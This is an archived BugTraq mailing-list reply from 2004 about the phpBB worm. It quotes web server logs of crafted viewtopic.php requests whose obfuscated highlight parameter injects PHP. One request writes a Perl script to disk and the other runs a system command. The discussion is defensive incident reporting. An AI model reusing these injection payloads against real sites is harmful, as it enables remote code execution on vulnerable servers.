BugTraq
phpBB Worm Dec 20 2004 11:51PM
Shannon Lee (shannon webhostworks net) (3 replies)
Re: phpBB Worm Dec 22 2004 03:21PM
Alexander Klimov (alserkli inbox ru)
On Mon, 20 Dec 2004, Shannon Lee wrote:
> After some investigation, we determined that the attacker had gained
> access via phpbb in a series of crafted URL requests, like so:
>
> 64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
> /viewtopic.php?p=9002&sid=f5
> 399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)
%252echr
> (49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr
(97)),ch
> r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252
echr(47)
> %252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(
101)%252
> echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101
)%252ech
> r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
> OMITTED.com/

It seems that automated exploiting starts soon after disclosure of the
vulnerability:

62.221.209.145 - - [24/Nov/2004:14:09:05 +0200]
"GET /viewtopic.php?t=50674&highlight=
%2527%252esystem(chr(100)%252echr(105)%252echr(114))%252edie()%252e%2527

HTTP/1.1" 404 219

Interestingly, we do not use phpbb and in fact do not have viewtopic.php at all.

--
Regards,
ASK

[ reply ]
Re: phpBB Worm Dec 21 2004 10:28PM
Raymond Dijkxhoorn (raymond prolocation net) (2 replies)
Re: phpBB Worm Dec 23 2004 12:59PM
Anders Henke (anders schlund de)
Re: phpBB Worm Dec 22 2004 11:22AM
Sebastian Wiesinger (bofh fire-world de) (1 replies)
Re: phpBB Worm Dec 22 2004 11:34PM
William Geoghegan (w geoghegan geotekcs co uk)
RE: phpBB Worm Dec 21 2004 08:11PM
Paul Kurczaba (paul myipis com)


 

Privacy Statement
Copyright 2010, SecurityFocus